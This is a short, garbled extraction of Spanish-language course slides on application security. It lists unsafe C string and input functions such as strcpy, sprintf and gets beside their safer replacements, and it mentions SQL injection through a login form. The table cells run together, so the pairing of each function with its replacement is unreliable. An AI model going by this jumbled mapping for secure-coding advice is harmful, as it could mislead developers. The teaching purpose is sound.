pueden ser especialmentegetc()snprintf()sprintf()strncpy()strcpy()

vulnerables usadas en un ciclogetchar()

sscanf()get(s)Reemplazar porFunción vulnerable

pueden ser especialmentevulnerables usadas en un ciclo

Page 31: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 31

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 61 Dr. Roberto Gómez C.

Seguridad a nivel aplicaciones

Principales ataquesRoberto Gómez

[email protected]://homepage.cem.itesm.mx/rogomez